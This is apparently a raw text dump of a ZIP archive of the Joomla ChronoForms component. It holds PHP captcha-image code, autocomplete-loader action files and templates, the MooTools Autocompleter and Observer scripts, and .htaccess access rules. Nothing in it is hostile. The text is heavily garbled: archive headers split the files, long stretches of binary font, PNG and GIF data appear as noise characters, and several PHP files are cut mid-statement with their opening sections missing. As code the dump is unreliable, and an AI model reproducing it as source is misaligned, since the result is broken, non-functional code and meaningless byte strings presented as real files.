imagecreatetruecolor($image_size, 40); // Create some colors $white = imagecolorallocate($im, 255, 255, 255); $grey = imagecolorallocate($im, 128, 128, 128); $greylight = imagecolorallocate($im, 199, 199, 199); $black = imagecolorallocate($im, 0, 0, 0); imagefilledrectangle($im, 0, 0, $image_size -1, 39, $white); // The text to draw $text = $rand; // Replace path by your own font path $font = dirname(__FILE__).'/default.ttf'; $chars = array(); $chars2 = array(); for ($i = 0; $i < strlen($text); $i++) { $chars[] = $text[$i]; } for ($i = 0; $i < strlen($rand2); $i++) { $chars2[] = $rand2[$i]; } //$chars = str_split($text); //$chars2 = str_split($rand2); // Add some shadow to the text //imagettftext($im, 20, 0, 11, 21, $grey, $font, $text); $size2 = 20; $angle2 = 0; $x2 = 10; $y2 = 25; $bbox2 = array(); $bbox2[0] = 0; $bbox2[2] = 0; foreach($chars2 as $char2){ $angle2 = rand(-20, 20); $size2 = rand(15, 20); $y2 = rand(0, 40); imagettftext($im, $size2, $angle2, $x2, $y2, $greylight, $font, $char2); $bbox2 = imagettfbbox($size2, $angle2, $font, $char2); $x2 = $x2 + abs($bbox2[2] - $bbox2[0]) + 3; } $size = 20; $angle = 0; $x = 10; $y = 25; $bbox = array(); $bbox[0] = 0; $bbox[2] = 0; // Add the text foreach($chars as $char){ $angle = rand(-20, 20); //$size = rand(15, 20); imagettftext($im, $size, $angle, $x, $y, $black, $font, $char); $bbox = imagettfbbox($size, $angle, $font, $char); $x = $x + abs($bbox[2] - $bbox[0]) + 3; } // Using imagepng() results in clearer text compared with imagejpeg() imagepng($im); imagedestroy($im); }else{ $image = imagecreatefrompng(dirname(__FILE__).'/background.png'); $greylight = imagecolorallocate($image, 199, 199, 199); $black = imagecolorallocate($image, 0, 0, 0); imagestring ($image, 5, 8, 14, $rand2, $greylight); imagestring ($image, 5, 5, 11, $rand, $black); imagepng($image); imagedestroy($image); } } function load($clear){ if($clear){ $action_params = array( 'fonts' => 0, 'refresh_button' => 0, 'encoded_image' => 0 ); } return array('action_params' => $action_params); } } ?>PK@y>\)>components/com_chronoforms/form_actions/load_captcha/.htaccessnuW+A Order allow,deny Deny from all PK@y>\Ь`@components/com_chronoforms/form_actions/load_captcha/refresh.pngnuW+APNG  IHDRaIDATxڕKA{3cPM j,B9x%xQ#^'` HZADH{Bb5āe}.S#6uu8mv`I9(ɡrn[Als (N ,TbwcSh($V|#I0lHqXD<.N(J8I+I㗻#^gZ@T^dD;XZB zWS7^S<[B'NYm$(.(-t\|Q~~Ncomponents/com_chronoforms/form_actions/load_captcha/cfaction_load_captcha.phpnuW+APK@y>\۔dd@components/com_chronoforms/form_actions/load_captcha/default.ttfnuW+A 0OS/2tNcmap,; glyfvXhead%ڋ]6hheal]$hmtxy1]loca`pmaxpjb name3cApostd` kernd} @ ,d !"#$%'&()`IJKBCDEFZN[PO]H W LjMk\l-./01G279,+86*>3@4A?:;<=5YXSRT_UVz{Qopmnsqrthiacfg|uyebwx" Sax    " & 0 :!"" R`x    & 0 9!"""d !"#$%'&()`IJKBCDEFZN[PO]H W LjMk\l-./01G279,+86*>3@4A?:;<=5{pqomnr}~YXSRQT_U|V^tvsxhifgeacbzywu  }EOjr$ET$3"m+!rN4)`@@_OT~z z +6^ X$W ^ [u7<z? 9^/a;T0? 9^/S;jz)t&T$3"m+!rN~P'`@@_OT~z zK #B|pOxOQD~SP@u% i  W-rDx#HJOCs /m O jz/j$35#UT+!rNNr!+@_Xhh[`@z?,68*@z xH{yUUB\ *W>) Mdj3F+!rN^HUT$35#yF8*@z z`@@_Xh^f xN||:m=Ui|RF]o7-`s'ynI)RuBC:dHr`oR5p[ J2> k7"qq<~~('Uia<rLLUOH  O` f^#"^: K65JWZyC Ch5Z0dgI0;-7{@7a?D-C?@65D'B'BByyBL&-4a@\h}2W U?]I-qyeV LbU#oPyZEoj %/3LKvKIw+vKIwuLKN:dodk`u^k`u_dodOR3 )2leMy82 7,; -mCy&]79RM F;J8|,8yBU,Wi<H`H}. ^_Rh.>_"!`+. +R^_[iLE.-FLKR-\V>{>V]R^hi^:^^9bn J`JTIaJh`hg0`0nni/6O p]\q_^kivu^%7}7&V+V4<+zx+<4hi5sq7B/V\YV\T0Bq\*LL)\ NGh[<o \ujE!:Q_-+v`m:;7DkB@ixI..zw9EL#vDf|0vwl!av,,`P:cl;;lK;78:MOI66roVzlc?`zd@/7u|AKiz/n<w`ay/{HPNjivd[ sv,,`nc;ol;[K;78:MmNhqq56$YtHVM|:OL{CB[  h*6OgZEK EZ\<ay/{HPNjiv`//?!cm8{y/0{HPNjivjiv[t U|;t~q~_/ r) ''H*)) xb##PY[ hBf>^')Z[!m_-+v;mm:[yk@AjB8hxx./ uZWu/U[ujknEargi{L3-HhJNq ;`<{oM!hdS(<7^s%4/PgKmqVgyjj=} / .1 !-PPKJ^]qsjgfk's:` Ps,> }dd|`//00h`/hg0/dO 8aw!-#ftO@&i<he R?=Q kQ-:;,So "`Ntq4#R}}R$5!5xv\T{sq@wt%TZ;C IVVf^zWT}CC:!/+,*F!L Sl0t(jHhy/ \PFlbZW{uZYzaaT4{lm{|u/\;(.{=.yy-.>{t~bn!b  `g`O @cMoG5\/W S X)LF&~r]Ca,xEqh%a][HJBfa=K\"3/E/g<Y0ECTb)*M0$}n/kaIyP.jCcWYTmly~~('KUia< ##jz/37j$35#UT+!rNNr!+q@_Xhh[`@z?,68*@z^##7z!%)?R@!+l\m0K[jh\{l|j@<lL:##V+/3V4<+zx+<4hi5sq7jB/V\YV\T0Bq\*LL)\##uZWu/U[ujkn##?0 #|WW|RK66K }EOW||WK66K*-jE};O""am.a STTam.aT kj3mygNI vzhl.-E}<O;.-$E}<O*X0hLHGPGQcYQsch0hh0QGYQsGi/hi/XGXrGiifc0fch0fG0fGfG0fGi/C%C<..<*%3@@"@Y@p<7 + +KVp K99WW886_V;<ilnJe (8cZA?> Z22459/cb d_ QL#c`:,-3*<]W [^e/?/5qmddr}MJX;9D22459/cb d_TUT44w|83<,-3*=]W [^:E :..3/320/320.9 66bbbT - c;}G8)Os}?,?9 ^xW||F(p_N&(r(F&-,)*,HGGG ^X,*)**'GGGH%=r;KF&-,)*,HGGG  lBB ;#$$$,*)**'GGGHOM~#"#'S*%A>**rDF&-,)*,HGGG?,%$*E/-fj.1pDEx,*)**'GGGH04FH31N z!Ar*-F&-,)*,HGGG>n>,*)**'GGGH-xJCrRF&-,)*,HGGGK41AExg@A|(2<%',*)**'GGGHG0%#nDBn;;q#"<M"!r<F&-,)*,HGGG.0DCwDKeu,*)**'GGGHT h6141;((LLjL`r%F&-,)*,HGGGXN,*)**'GGGH|4q?@X_,*PF+,])'{t^Z]_N.2nPP\# fwZs$$%*$+(MJ%$%7VRQO3S^XLM..8VcaG5jL$N=4#N(%8:&&(%8:&&`:(')(;'''&VKY5BZv}VmZVW%Yj-YRJzRMs}#+80|MHnMZDJ< $cI95<N53djB%-vz34yZjkW5Z0< Efe)ogV:' VW*)``('%99&'R;'')'$={0@A*%Y KJyOL=pi:%""5/rEE"7:%!$Ha$i.ZQJ{QNrH*80~KGn%r]%RRw{POc91NO52}TRUT{95OP83N< FFU0$,eR/-#GEo/VW)'(d_(<zBHk}HZ#=m+# 'TV% po##II$|Z41(Y[%41Z18`)/9% 9dna`opknroqb'*;*+-*).FGFFeZxYm&*)*)-* FFFFDIb2;F;*+-*).FGFFu<<P22afC$$<*)*)-* FFFF-t9 ~;2bC;*+-*).FGFFEsr__)^ECQ:9*)*)-* FFFF|{{{z< +)P&=l,r82b+95\!ea &,^F::7HW::%9 Z7-V&5V4 5NeLVL0I4{*WxNolq>,] ~   EkwRySwkEN7Npmgdb6SCHP#<5@4,801GP cojE'Xwz &^'YV*<98)8aJibX_bgM_jGLK{|JJrf[`djKac_e yQN;.*"#+H7wbyvyWWe++6+=36(';5Q0bW*$He%l<;zz<=g"kEHWW3+&1a/9R:5*&K+50B C22< 11FE31y=f!=<`6879.>6(;+(!GfC760*9aCP^m4AYo@A)&Y KKyNM>q j:%!WmO"4.rEE"7:%!ChBCicdehjgifgjfUcK  fcnERRMp6<9\(!+"" wmB?6 $Ny*TSS0`tsq6 N.,e40\XXXXn~C9mL!!Q!.Akjzz]eHED,vvo76z<:Q!_x4t]W==/=< ia`lm2{:8}~/'_<?p,,/ rj rKj/ xjj rI&C&j/R9}9+KbAnOV&&9&V9AK&dEK&K9-Mj1&dC99-bfO=K j7VKraaaHQQUXfffZC.*V@KReRen:b.ZThrhrhrhrhrhrhrh4sNVVeD<\:6$${%rNF$(B#9bbbbbb&p5IN8c;NWY6NWN=a-CzU 6NQQLLLL6`,Xl  |  Z  X^n:l"*|$P@x !b!"##T##%%&'$(P)6*N*++,f,,,-\-..J.../*/L/n////0(0J0l02 3r34 457n89;<=?h@.@AB\BCCnDrEEEFFFFGH*IJKLM MNOPZPQQRSTUJUV|WdXXYf3 ,I u , ,DIN 1451 MittelschriftRegularDIN 1451 MittelschriftDIN 1451 MittelschriftDIN 1451 MittelschriftRegularDIN 1451 MittelschriftDIN 1451 MittelschriftPK@y>\ ?components/com_chronoforms/form_actions/load_captcha/index.htmlnuW+A PK@y>\'桄Scomponents/com_chronoforms/form_actions/autocomplete_loader/autocomplete_loader.phpnuW+A 'Autocomplete Loader', 'tooltip' => 'Load the auto complete basic CSS and code'); var $group = array('id' => 'power_fields', 'title' => 'Power Fields'); function load($clear){ if($clear){ $action_params = array( 'field_id' => '', 'field_name' => '', 'minLength' => 3, 'maxChoices' => 10, 'ajax_delay' => 300, 'results_cache' => 'true', 'ajax_event' => '' ); } return array('action_params' => $action_params); } function run($form, $actiondata){ } } ?>PK@y>\ Fcomponents/com_chronoforms/form_actions/autocomplete_loader/index.htmlnuW+A PK@y>\X-Scomponents/com_chronoforms/form_actions/autocomplete_loader/autocomplete_loader.ctpnuW+A
      Autocomplete Loader
      Header(array('settings' => 'Settings', 'other' => 'Other', 'help' => 'Help'), 'autocomplete_loader_config_{n}'); ?> tabStart('settings'); ?> input('action_autocomplete_loader_{n}_field_id_config', array('type' => 'text', 'label' => "Field ID", 'smalldesc' => 'The id of the field which will have the auto completer function assigned by this action.')); ?> input('action_autocomplete_loader_{n}_field_name_config', array('type' => 'text', 'label' => "Field Name", 'smalldesc' => 'The name of the field which will have the auto completer function assigned by this action.')); ?> input('action_autocomplete_loader_{n}_ajax_event_config', array('type' => 'text', 'label' => "AJAX event", 'class' => 'medium_input', 'smalldesc' => 'The event name which will have the Autocompleter processor action.')); ?> tabEnd(); ?> tabStart('other'); ?> input('action_autocomplete_loader_{n}_minLength_config', array('type' => 'text', 'label' => "Minimum length", 'smalldesc' => 'Minimum number of characters before a request is initiated.')); ?> input('action_autocomplete_loader_{n}_maxChoices_config', array('type' => 'text', 'label' => "Max choice", 'smalldesc' => 'Maximum number of choices to show.')); ?> input('action_autocomplete_loader_{n}_ajax_delay_config', array('type' => 'text', 'label' => "AJAX delay", 'smalldesc' => 'Time to wait in MS before a request is initiated.')); ?> input('action_autocomplete_loader_{n}_results_cache_config', array('type' => 'select', 'label' => 'Cache results', 'options' => array('false' => 'No', 'true' => 'Yes'), 'empty' => false, 'smalldesc' => "Cache the results ?")); ?> tabEnd(); ?> tabStart('help'); ?>

      • Add your field name and id which is going to have the auto loader function then set the event name which will have the processor action.
      • Your field should be of type text box or text area.
      • You should use an event on the same form, e.g: create a new form event and call it "my_auto_complete".

      tabEnd(); ?>
      PK@y>\)Ecomponents/com_chronoforms/form_actions/autocomplete_loader/.htaccessnuW+A Order allow,deny Deny from all PK@y>\TSg))Tcomponents/com_chronoforms/form_actions/autocomplete_loader/assets/Autocompleter.cssnuW+Aul.autocompleter-choices { position: absolute; margin: 0; padding: 0; list-style: none; border: 1px solid #7c7c7c; border-left-color: #c3c3c3; border-right-color: #c3c3c3; border-bottom-color: #ddd; background-color: #fff; text-align: left; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; z-index: 50; background-color: #fff; } ul.autocompleter-choices li { position: relative; margin: -2px 0 0 0; padding: 0.2em 1.5em 0.2em 1em; display: block; float: none !important; cursor: pointer; font-weight: normal; white-space: nowrap; font-size: 1em; line-height: 1.5em; } ul.autocompleter-choices li.autocompleter-selected { background-color: #444; color: #fff; } ul.autocompleter-choices span.autocompleter-queried { display: inline; float: none; font-weight: bold; margin: 0; padding: 0; } ul.autocompleter-choices li.autocompleter-selected span.autocompleter-queried { color: #9FCFFF; }PK@y>\)Lcomponents/com_chronoforms/form_actions/autocomplete_loader/assets/.htaccessnuW+A Order allow,deny Deny from all PK@y>\Ӳ#77Scomponents/com_chronoforms/form_actions/autocomplete_loader/assets/Autocompleter.jsnuW+A/** * Autocompleter * * http://digitarald.de/project/autocompleter/ * * @version 1.1.2 * * @license MIT-style license * @author Harald Kirschner * @copyright Author */ var Autocompleter = new Class({ Implements: [Options, Events], options: {/* onOver: $empty, onSelect: $empty, onSelection: $empty, onShow: $empty, onHide: $empty, onBlur: $empty, onFocus: $empty,*/ minLength: 1, markQuery: true, width: 'inherit', maxChoices: 10, injectChoice: null, customChoices: null, emptyChoices: null, visibleChoices: true, className: 'autocompleter-choices', zIndex: 42, delay: 400, observerOptions: {}, fxOptions: {}, autoSubmit: false, overflow: false, overflowMargin: 25, selectFirst: false, filter: null, filterCase: false, filterSubset: false, forceSelect: false, selectMode: true, choicesMatch: null, multiple: false, separator: ', ', separatorSplit: /\s*[,;]\s*/, autoTrim: false, allowDupes: false, cache: true, relative: false }, initialize: function(element, options) { this.element = $(element); this.setOptions(options); this.build(); this.observer = new Observer(this.element, this.prefetch.bind(this), $merge({ 'delay': this.options.delay }, this.options.observerOptions)); this.queryValue = null; if (this.options.filter) this.filter = this.options.filter.bind(this); var mode = this.options.selectMode; this.typeAhead = (mode == 'type-ahead'); this.selectMode = (mode === true) ? 'selection' : mode; this.cached = []; }, /** * build - Initialize DOM * * Builds the html structure for choices and appends the events to the element. * Override this function to modify the html generation. */ build: function() { if ($(this.options.customChoices)) { this.choices = this.options.customChoices; } else { this.choices = new Element('ul', { 'class': this.options.className, 'styles': { 'zIndex': this.options.zIndex } }).inject(document.body); this.relative = false; if (this.options.relative) { this.choices.inject(this.element, 'after'); this.relative = this.element.getOffsetParent(); } this.fix = new OverlayFix(this.choices); } if (!this.options.separator.test(this.options.separatorSplit)) { this.options.separatorSplit = this.options.separator; } this.fx = (!this.options.fxOptions) ? null : new Fx.Tween(this.choices, $merge({ 'property': 'opacity', 'link': 'cancel', 'duration': 200 }, this.options.fxOptions)).addEvent('onStart', Chain.prototype.clearChain).set(0); this.element.setProperty('autocomplete', 'off') .addEvent((Browser.Engine.trident || Browser.Engine.webkit) ? 'keydown' : 'keypress', this.onCommand.bind(this)) .addEvent('click', this.onCommand.bind(this, [false])) .addEvent('focus', this.toggleFocus.create({bind: this, arguments: true, delay: 100})) .addEvent('blur', this.toggleFocus.create({bind: this, arguments: false, delay: 100})); }, destroy: function() { if (this.fix) this.fix.destroy(); this.choices = this.selected = this.choices.destroy(); }, toggleFocus: function(state) { this.focussed = state; if (!state) this.hideChoices(true); this.fireEvent((state) ? 'onFocus' : 'onBlur', [this.element]); }, onCommand: function(e) { if (!e && this.focussed) return this.prefetch(); if (e && e.key && !e.shift) { switch (e.key) { case 'enter': if (this.element.value != this.opted) return true; if (this.selected && this.visible) { this.choiceSelect(this.selected); return !!(this.options.autoSubmit); } break; case 'up': case 'down': if (!this.prefetch() && this.queryValue !== null) { var up = (e.key == 'up'); this.choiceOver((this.selected || this.choices)[ (this.selected) ? ((up) ? 'getPrevious' : 'getNext') : ((up) ? 'getLast' : 'getFirst') ](this.options.choicesMatch), true); } return false; case 'esc': case 'tab': this.hideChoices(true); break; } } return true; }, setSelection: function(finish) { var input = this.selected.inputValue, value = input; var start = this.queryValue.length, end = input.length; if (input.substr(0, start).toLowerCase() != this.queryValue.toLowerCase()) start = 0; if (this.options.multiple) { var split = this.options.separatorSplit; value = this.element.value; start += this.queryIndex; end += this.queryIndex; var old = value.substr(this.queryIndex).split(split, 1)[0]; value = value.substr(0, this.queryIndex) + input + value.substr(this.queryIndex + old.length); if (finish) { var tokens = value.split(this.options.separatorSplit).filter(function(entry) { return this.test(entry); }, /[^\s,]+/); if (!this.options.allowDupes) tokens = [].combine(tokens); var sep = this.options.separator; value = tokens.join(sep) + sep; end = value.length; } } this.observer.setValue(value); this.opted = value; if (finish || this.selectMode == 'pick') start = end; this.element.selectRange(start, end); this.fireEvent('onSelection', [this.element, this.selected, value, input]); }, showChoices: function() { var match = this.options.choicesMatch, first = this.choices.getFirst(match); this.selected = this.selectedValue = null; if (this.fix) { var pos = this.element.getCoordinates(this.relative), width = this.options.width || 'auto'; this.choices.setStyles({ 'left': pos.left, 'top': pos.bottom, 'width': (width === true || width == 'inherit') ? pos.width : width }); } if (!first) return; if (!this.visible) { this.visible = true; this.choices.setStyle('display', ''); if (this.fx) this.fx.start(1); this.fireEvent('onShow', [this.element, this.choices]); } if (this.options.selectFirst || this.typeAhead || first.inputValue == this.queryValue) this.choiceOver(first, this.typeAhead); var items = this.choices.getChildren(match), max = this.options.maxChoices; var styles = {'overflowY': 'hidden', 'height': ''}; this.overflown = false; if (items.length > max) { var item = items[max - 1]; styles.overflowY = 'scroll'; styles.height = item.getCoordinates(this.choices).bottom; this.overflown = true; }; this.choices.setStyles(styles); this.fix.show(); if (this.options.visibleChoices) { var scroll = document.getScroll(), size = document.getSize(), coords = this.choices.getCoordinates(); if (coords.right > scroll.x + size.x) scroll.x = coords.right - size.x; if (coords.bottom > scroll.y + size.y) scroll.y = coords.bottom - size.y; window.scrollTo(Math.min(scroll.x, coords.left), Math.min(scroll.y, coords.top)); } }, hideChoices: function(clear) { if (clear) { var value = this.element.value; if (this.options.forceSelect) value = this.opted; if (this.options.autoTrim) { value = value.split(this.options.separatorSplit).filter($arguments(0)).join(this.options.separator); } this.observer.setValue(value); } if (!this.visible) return; this.visible = false; if (this.selected) this.selected.removeClass('autocompleter-selected'); this.observer.clear(); var hide = function(){ this.choices.setStyle('display', 'none'); this.fix.hide(); }.bind(this); if (this.fx) this.fx.start(0).chain(hide); else hide(); this.fireEvent('onHide', [this.element, this.choices]); }, prefetch: function() { var value = this.element.value, query = value; if (this.options.multiple) { var split = this.options.separatorSplit; var values = value.split(split); var index = this.element.getSelectedRange().start; var toIndex = value.substr(0, index).split(split); var last = toIndex.length - 1; index -= toIndex[last].length; query = values[last]; } if (query.length < this.options.minLength) { this.hideChoices(); } else { if (query === this.queryValue || (this.visible && query == this.selectedValue)) { if (this.visible) return false; this.showChoices(); } else { this.queryValue = query; this.queryIndex = index; if (!this.fetchCached()) this.query(); } } return true; }, fetchCached: function() { return false; if (!this.options.cache || !this.cached || !this.cached.length || this.cached.length >= this.options.maxChoices || this.queryValue) return false; this.update(this.filter(this.cached)); return true; }, update: function(tokens) { this.choices.empty(); this.cached = tokens; var type = tokens && $type(tokens); if (!type || (type == 'array' && !tokens.length) || (type == 'hash' && !tokens.getLength())) { (this.options.emptyChoices || this.hideChoices).call(this); } else { if (this.options.maxChoices < tokens.length && !this.options.overflow) tokens.length = this.options.maxChoices; tokens.each(this.options.injectChoice || function(token){ var choice = new Element('li', {'html': this.markQueryValue(token)}); choice.inputValue = token; this.addChoiceEvents(choice).inject(this.choices); }, this); this.showChoices(); } }, choiceOver: function(choice, selection) { if (!choice || choice == this.selected) return; if (this.selected) this.selected.removeClass('autocompleter-selected'); this.selected = choice.addClass('autocompleter-selected'); this.fireEvent('onSelect', [this.element, this.selected, selection]); if (!this.selectMode) this.opted = this.element.value; if (!selection) return; this.selectedValue = this.selected.inputValue; if (this.overflown) { var coords = this.selected.getCoordinates(this.choices), margin = this.options.overflowMargin, top = this.choices.scrollTop, height = this.choices.offsetHeight, bottom = top + height; if (coords.top - margin < top && top) this.choices.scrollTop = Math.max(coords.top - margin, 0); else if (coords.bottom + margin > bottom) this.choices.scrollTop = Math.min(coords.bottom - height + margin, bottom); } if (this.selectMode) this.setSelection(); }, choiceSelect: function(choice) { if (choice) this.choiceOver(choice); this.setSelection(true); this.queryValue = false; this.hideChoices(); }, filter: function(tokens) { return (tokens || this.tokens).filter(function(token) { return this.test(token); }, new RegExp(((this.options.filterSubset) ? '' : '^') + this.queryValue.escapeRegExp(), (this.options.filterCase) ? '' : 'i')); }, /** * markQueryValue * * Marks the queried word in the given string with * * Call this i.e. from your custom parseChoices, same for addChoiceEvents * * @param {String} Text * @return {String} Text */ markQueryValue: function(str) { return (!this.options.markQuery || !this.queryValue) ? str : str.replace(new RegExp('(' + ((this.options.filterSubset) ? '' : '^') + this.queryValue.escapeRegExp() + ')', (this.options.filterCase) ? '' : 'i'), '$1'); }, /** * addChoiceEvents * * Appends the needed event handlers for a choice-entry to the given element. * * @param {Element} Choice entry * @return {Element} Choice entry */ addChoiceEvents: function(el) { return el.addEvents({ 'mouseover': this.choiceOver.bind(this, [el]), 'click': this.choiceSelect.bind(this, [el]) }); } }); var OverlayFix = new Class({ initialize: function(el) { if (Browser.Engine.trident) { this.element = $(el); this.relative = this.element.getOffsetParent(); this.fix = new Element('iframe', { 'frameborder': '0', 'scrolling': 'no', 'src': 'javascript:false;', 'styles': { 'position': 'absolute', 'border': 'none', 'display': 'none', 'filter': 'progid:DXImageTransform.Microsoft.Alpha(opacity=0)' } }).inject(this.element, 'after'); } }, show: function() { if (this.fix) { var coords = this.element.getCoordinates(this.relative); delete coords.right; delete coords.bottom; this.fix.setStyles($extend(coords, { 'display': '', 'zIndex': (this.element.getStyle('zIndex') || 1) - 1 })); } return this; }, hide: function() { if (this.fix) this.fix.setStyle('display', 'none'); return this; }, destroy: function() { if (this.fix) this.fix = this.fix.destroy(); } }); Element.implement({ getSelectedRange: function() { if (!Browser.Engine.trident) return {start: this.selectionStart, end: this.selectionEnd}; var pos = {start: 0, end: 0}; var range = this.getDocument().selection.createRange(); if (!range || range.parentElement() != this) return pos; var dup = range.duplicate(); if (this.type == 'text') { pos.start = 0 - dup.moveStart('character', -100000); pos.end = pos.start + range.text.length; } else { var value = this.value; var offset = value.length - value.match(/[\n\r]*$/)[0].length; dup.moveToElementText(this); dup.setEndPoint('StartToEnd', range); pos.end = offset - dup.text.length; dup.setEndPoint('StartToStart', range); pos.start = offset - dup.text.length; } return pos; }, selectRange: function(start, end) { if (Browser.Engine.trident) { var diff = this.value.substr(start, end - start).replace(/\r/g, '').length; start = this.value.substr(0, start).replace(/\r/g, '').length; var range = this.createTextRange(); range.collapse(true); range.moveEnd('character', start + diff); range.moveStart('character', start); range.select(); } else { this.focus(); this.setSelectionRange(start, end); } return this; } }); /* compatibility */ Autocompleter.Base = Autocompleter;PK@y>\WH [components/com_chronoforms/form_actions/autocomplete_loader/assets/Autocompleter.Request.jsnuW+A/** * Autocompleter.Request * * http://digitarald.de/project/autocompleter/ * * @version 1.1.2 * * @license MIT-style license * @author Harald Kirschner * @copyright Author */ Autocompleter.Request = new Class({ Extends: Autocompleter, options: {/* indicator: null, indicatorClass: null, onRequest: $empty, onComplete: $empty,*/ postData: {}, ajaxOptions: {}, postVar: 'value' }, query: function(){ var data = $unlink(this.options.postData) || {}; data[this.options.postVar] = this.queryValue; var indicator = $(this.options.indicator); if (indicator) indicator.setStyle('display', ''); var cls = this.options.indicatorClass; if (cls) this.element.addClass(cls); this.fireEvent('onRequest', [this.element, this.request, data, this.queryValue]); this.request.send({'data': data}); }, /** * queryResponse - abstract * * Inherated classes have to extend this function and use this.parent() */ queryResponse: function() { var indicator = $(this.options.indicator); if (indicator) indicator.setStyle('display', 'none'); var cls = this.options.indicatorClass; if (cls) this.element.removeClass(cls); return this.fireEvent('onComplete', [this.element, this.request]); } }); Autocompleter.Request.JSON = new Class({ Extends: Autocompleter.Request, initialize: function(el, url, options) { this.parent(el, options); this.request = new Request.JSON($merge({ 'url': url, 'link': 'cancel' }, this.options.ajaxOptions)).addEvent('onComplete', this.queryResponse.bind(this)); }, queryResponse: function(response) { this.parent(); this.update(response); } }); Autocompleter.Request.HTML = new Class({ Extends: Autocompleter.Request, initialize: function(el, url, options) { this.parent(el, options); this.request = new Request.HTML($merge({ 'url': url, 'link': 'cancel', 'update': this.choices }, this.options.ajaxOptions)).addEvent('onComplete', this.queryResponse.bind(this)); }, queryResponse: function(tree, elements) { this.parent(); if (!elements || !elements.length) { this.hideChoices(); } else { this.choices.getChildren(this.options.choicesMatch).each(this.options.injectChoice || function(choice) { var value = choice.innerHTML; choice.inputValue = value; this.addChoiceEvents(choice.set('html', this.markQueryValue(value))); }, this); this.showChoices(); } } }); /* compatibility */ Autocompleter.Ajax = { Base: Autocompleter.Request, Json: Autocompleter.Request.JSON, Xhtml: Autocompleter.Request.HTML }; PK@y>\sH  [components/com_chronoforms/form_actions/autocomplete_loader/assets/indicator_blue_small.gifnuW+AGIF89a pˌRo! NETSCAPE2.0! , +IԬeަ)"-ɠ%g itio~0! , P$ߔwIT! , 2)RssLdA"ɸ)YlFý϶ yM(U.! , >IHIT R PtI1 ʺHʴݾY`a }L &6ud"! , =I`2Ptı("Pʺ ,ھԻwÚOhTJ.! , 3IԬeP(dR1 Ś2r\3.=>24`J! ,  Ь%ߕT;PK@y>\a]55Ncomponents/com_chronoforms/form_actions/autocomplete_loader/assets/Observer.jsnuW+A/** * Observer - Observe formelements for changes * * - Additional code from clientside.cnet.com * * @version 1.1 * * @license MIT-style license * @author Harald Kirschner * @copyright Author */ var Observer = new Class({ Implements: [Options, Events], options: { periodical: false, delay: 1000 }, initialize: function(el, onFired, options){ this.element = $(el) || $$(el); this.addEvent('onFired', onFired); this.setOptions(options); this.bound = this.changed.bind(this); this.resume(); }, changed: function() { var value = this.element.get('value'); if ($equals(this.value, value)) return; this.clear(); this.value = value; this.timeout = this.onFired.delay(this.options.delay, this); }, setValue: function(value) { this.value = value; this.element.set('value', value); return this.clear(); }, onFired: function() { this.fireEvent('onFired', [this.value, this.element]); }, clear: function() { $clear(this.timeout || null); return this; }, pause: function(){ if (this.timer) $clear(this.timer); else this.element.removeEvent('keyup', this.bound); return this.clear(); }, resume: function(){ this.value = this.element.get('value'); if (this.options.periodical) this.timer = this.changed.periodical(this.options.periodical, this); else this.element.addEvent('keyup', this.bound); return this; } }); var $equals = function(obj1, obj2) { return (obj1 == obj2 || JSON.encode(obj1) == JSON.encode(obj2)); };PK@y>\PA  Ycomponents/com_chronoforms/form_actions/autocomplete_loader/assets/Autocompleter.Local.jsnuW+A/** * Autocompleter.Local * * http://digitarald.de/project/autocompleter/ * * @version 1.1.2 * * @license MIT-style license * @author Harald Kirschner * @copyright Author */ Autocompleter.Local = new Class({ Extends: Autocompleter, options: { minLength: 0, delay: 200 }, initialize: function(element, tokens, options) { this.parent(element, options); this.tokens = tokens; }, query: function() { this.update(this.filter()); } });PK@y>\Mcomponents/com_chronoforms/form_actions/autocomplete_loader/assets/index.htmlnuW+APK@y>\\components/com_chronoforms/form_actions/autocomplete_loader/cfaction_autocomplete_loader.ctpnuW+Aload($form, $actiondata); ?>PK@y>\̀\components/com_chronoforms/form_actions/autocomplete_loader/cfaction_autocomplete_loader.phpnuW+Aparams); $output = ''; $document = JFactory::getDocument(); //load some files //mootools JHTML::_('behavior.mootools'); //load form css files $uri = JFactory::getURI(); //$document->addStyleSheet($uri->root().'administrator/components/com_chronoforms/form_actions/autocomplete_loader/assets/Autocompleter.css'); $document->addScript($uri->root().'administrator/components/com_chronoforms/form_actions/autocomplete_loader/assets/Autocompleter.js'); $document->addScript($uri->root().'administrator/components/com_chronoforms/form_actions/autocomplete_loader/assets/Autocompleter.Local.js'); $document->addScript($uri->root().'administrator/components/com_chronoforms/form_actions/autocomplete_loader/assets/Autocompleter.Request.js'); $document->addScript($uri->root().'administrator/components/com_chronoforms/form_actions/autocomplete_loader/assets/Observer.js'); //load the CSS ob_start(); ?> ul.autocompleter-choices { margin:0; position:absolute; width:339px; padding:0; list-style:none; z-index:50; background:#3b5998; border:1px solid #3b5998; top:0;} ul.autocompleter-choices li { margin:0; list-style:none; padding:0px 10px; cursor:pointer; font-weight:normal; white-space:nowrap; color:#fff; font-size:11px; } ul.autocompleter-choices li:hover { background:#eceff5; color:#3b5998; } .search-working { background:url(/administrator/components/com_chronoforms/form_actions/autocomplete_loader/assets/indicator_blue_small.gif) 200px 7px no-repeat; } addStyleDeclaration($script); //load the JS ob_start(); ?> window.addEvent('domready', function() { new Autocompleter.Request.JSON('get('field_id', ''); ?>', 'index.php?option=com_chronoforms&chronoform=form_details->name; ?>&event=get('ajax_event', ''); ?>', { 'postVar': 'get('field_name', ''); ?>', minLength: get('minLength', 3); ?>, maxChoices: get('maxChoices', 10); ?>, autoSubmit: false, cache: get('results_cache', 'true'); ?>, delay: get('ajax_delay', 300); ?>, onRequest: function() { $('get('field_id', ''); ?>').setStyles({ 'background-image':'url(root(); ?>administrator/components/com_chronoforms/form_actions/autocomplete_loader/assets/indicator_blue_small.gif)', 'background-position':'350px 7px', 'background-repeat':'no-repeat' }); }, onComplete: function() { $('get('field_id', ''); ?>').setStyle('background',''); } }); }); form_params->get('dynamic_files', 0) === false){ $document->addScriptDeclaration("//"); }else{ //load the action class $form->loadActionHelper('load_js'); $CfactionLoadJsHelper = new CfactionLoadJsHelper(); $JSactiondata = new stdClass(); $JSactiondata->content1 = $script; $JSParams = new JParameter(''); $JSParams->set('dynamic_file', $form->form_params->get('dynamic_files', 0)); $JSactiondata->params = $JSParams->toString(); $CfactionLoadJsHelper->load($form, $JSactiondata); } } } ?>PK@y>\G9Ycomponents/com_chronoforms/form_actions/joomla_user_activation/joomla_user_activation.phpnuW+A 'joomla_functions', 'title' => 'Joomla Functions'); var $events = array('success' => 0, 'fail' => 0); var $details = array('title' => 'Joomla User Activation', 'tooltip' => 